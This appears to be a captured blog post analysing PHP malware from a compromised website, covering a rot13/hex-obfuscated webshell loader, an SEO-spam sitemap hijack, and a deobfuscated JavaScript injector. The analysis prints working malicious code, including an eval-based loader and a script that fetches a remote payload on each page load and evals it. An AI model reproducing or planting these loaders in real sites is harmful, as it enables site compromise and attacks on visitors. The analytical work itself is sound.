maia.crimew.gay Open in urlscan Pro
144.24.243.235  Public Scan

URL: https://maia.crimew.gay/posts/nebita-malware/
Submission: On October 24 via manual from GB — Scanned from CH

Form analysis 0 forms found in the DOM

Text Content

MAIA BLOG

home | blog | contact | sample packs
May 31, 2022 7 minutes to read by maia arson crimew in security, infosec,
malware, reverse engineering, analysis, research, php


ANALYZING SIMPLE, REAL WORLD PHP MALWARE

a look at the malware nebita.com was infected with

In February I was contacted by convincing from webcage, asking whether I'd like
to have a look at some malware that ended up on the website of webcage member
nebita. At that point it's been a while since i last looked into any PHP
malware, or PHP stuff in general, but I agreed to at least take a quick look at
it. I originally documented that work in a Twitter thread, but promised a blog
post and with the Twitter account it was originally posted on being suspended
that makes even more sense now.


THE BEGINNING



Various changes were made when the site was originally owned via an insecure ftp
password set by the hosting provider at the time. The sites index file had
obfuscated php appended to the start of the file and was renamed from a plain
html file to a php file, similarly the main js file had obfuscated javascript
appended at the end.



Additionally another PHP file called deez.php, obfuscated using a different
method, was placed in a newly created subdirectory. Based on the fact that this
was a standalone script hidden in a subdirectory and the few unobfuscated
variables and environment settings I assumed that this script would most likely
turn out to be a webshell, however I was still going to try and deobfuscate it,
both for the fun of it and to make sure I was right.


THE WEBSHELL

I decided to take a look at what I assumed was a webshell first, mostly because
the obvious use of rot13 for obfuscation made it seem like a much simpler target
than the other two scripts.

So let's get a basic outline of the full script:

error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "9cf9ffdce70e787dd580fccee52f402e";
define('Viv, bebegim.','');

 1. basic configuration with headers being set, as well as some sort of password
    👀

function s(){
	$str = "66756r[...]9rr680n75o272r2463686q6s642r275q3p2s6469763r3p2s666s726q3r273o0q0n627265616o3o0q0n7q";
	$str=get_str($str);
	m($str);
}
function get_str($str){
	$str = str_rot13($str);
	return $str;
}

 2. a big blob of data is defined, which when run through rot_13 turns out to
    still be encoded in some hexadecimal format

function get1_str($str1){
	$str = $str1."ck";
	return $str;
}
function m($str){
	global $password;
	$str1="pa";
	$str1=get1_str($str1);
	$jj = '';
	@eval(`/******/`.$jj.$str1('H*',$str).$jj);
}
s();

 3. $password is turned into a global, to be used inside the packed script
 4. get1_str and m are simply a very badly obfuscated call to pack which turns
    our hex encoded data into plain text php...
 5. ... which then gets executed via eval, after doing some useless
    concatenation in an attempt to obfuscate that call

All we have to do now to get out an unobfuscated version of the script is to
replace the call to eval with echo and running it. And what do we get when we do
that? ...



🎉 a webshell ✨



It even has some fun persistence features, including a built in way to spawn
persistent reverse shells on the compromised system to back door it more
permanently.


THE INDEX FILE


DEOBFUSCATION

Ok, with that out of the way let's take a look at the way more complex looking
code injected in the header of the index file. The first thing i did to tackle
this one was to copy all the PHP into a seperate file and formatting it, this
already made it signficiantly less overwhelming.



I then URLdecoded the long string at the start, which made it clear that it
seems to be some sort of look-up table/alphabet.

# before
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";

# after
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|";

this quickly made it clear that this script was obfuscated by turning all
strings (and method names) into array references. I first tried to undo this
obfuscation by half-manually decoding the script string by string, this turned
out to be way too tedious very quickly so i wrote a quick and dirty python
script to automatically do it for me (with some cursed regex replacements
required to join the characters into full strings (s/"([^"]+)" .
"([^"]+)"/"$1$2"/)).

script = """<full formatted but obfuscated php script here>"""

alphabet = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|"

count = 0
for char in alphabet:
    if char == "\"" or char == "\\":
        char = "\\" + char
    script = script.replace(f"$O[{count}]", f"\"{char}\"")
    count = count + 1

print(script)

After that it was only a matter of manually renaming obfuscated variable names
and figuring out what this, now super clean, script does.




ANALYSIS

It turns out this script is A LOT of fun and certainly way more interesting than
i expected. What it does is, it captures requests for sitemaps from search
engine bots and returns sitemaps from their own backend, presumably to trick
search engines into ranking spam sites higher and as related to the sites
infected with this malware.



Based on this scripts function, the little info i have on the backend as well as
the fact that the webshell they used is in Chinese, I assume that the site was
hacked by spammers (or their contractors) from China, who then resell traffic
and search engine ranking services to others, most likely also
spammers/scammers.


THE JAVASCRIPT

The JavaScript injected at the start of the main js file turned out to be fairly
heavy but standard js obfuscation, which I was able to manually reverse step by
step with a little bit of patience. I don't really have a write up on how I did
that for this specific instance, but I plan to at some point talk about my
process for manually deobfuscating scripts.

After a few passes of manual clean up the script turns out to be merely 27
simple lines of js:

if (hasRun === undefined) {
  var hasRun = true;

  var HttpClient = function () {
    this.get = function (url, callback) {
      var request = new XMLHttpRequest();
      request.onreadystatechange = function () {
        if (request.readyState == 4 && request.status == 200) {
          callback(request.responseText);
        }
      };
      request.open("GET", url, !![]);
      request.send(null);
    };
  };

  (function () {
    if (document.referrer && !(document.referrer.indexOf(location.hostname) !== -1) && !document.cookie) {
      var client = new HttpClient();
      var url = location.protocol + "//nebita.com/U66c6Lzr<shortened by maia>aa8HI/deez/deez.php?id=" + Math.random().toString(36).substr(2) + Math.random().toString(36).substr(2);
      client.get(url, function (response) {
        // execute returned xss payload
        response.indexOf("ndsx") !== -1 && eval(response);
      });
    }
  })();
}

So all this script did is query the webshell script for a javascript payload to
execute on each load of the webpage. It's unfortunately not possible to figure
out anymore what, if anything at all, was injected into the site this way, but I
assume that this was the main reason for the big slowdown of the page that lead
to discovering the malware in the first place (this is purely speculation
though).


THE BACKEND

So next i obviously wanted to take a look at the spammers backend and it's api,
however that turned out to have been taken down already at the time.


THE MALWARE

If you are interested in looking through the malware source code yourself, or
attempt to replicate my deobfuscation attempts all files mentioned throughout
this article can be found in a GitHub repository here. Feel free to let me know
if you find anything interesting I missed!

if you enjoyed this or any of my other work feel free to support me on my ko-fi.
this is my only real source of income so anything goes a long way, and monthly
contributions help tremendously with budgeting.


RELATED POSTS

 * KICK.COM SUCKS - A BRIEF SECURITY OVERVIEW
   
   Aug 2, 2023 - 16:20 UTC (updated Aug 3, 2023 - 16:55 UTC) 7 minutes to read
   by maia arson crimew in security, infosec, analysis
   or, the tale of a funky write-up

 * INFOSEC COMPANY OWNED COMPLETELY BY 4CHAN USER
   
   May 10, 2023 3 minutes to read by maia arson crimew in leak, security,
   infosec, jenkins, analysis
   risk visualize deez nuts

 * #FUCKSTALKERWARE PT. 2 - SPYHIDE COULDNT HIDE FOREVER
   
   Jul 24, 2023 - 16:17 UTC (updated Jul 24, 2023 - 20:12 UTC) 9 minutes to read
   by maia arson crimew in #FuckStalkerware, stalkerware, research, analysis,
   leak, php, exploit
   and once again it was way too easy

rss feed | tumblr | fedded verse | sounded cloud | last dot federated states of
micronesia | gitted hub | gitted tea | ko-fi | reddit | analytics

credits: maia kitten art by vai5000, pixel art maia kitten by A. Marmot and
pointer following kitten code from adryd325/oneko.js


This site is part of the lavender.software webring!
 * oatmealine
 * maia
 * easrng

sleepy.zone webring!
 * tayxm
 * maia
 * sadgirlsclub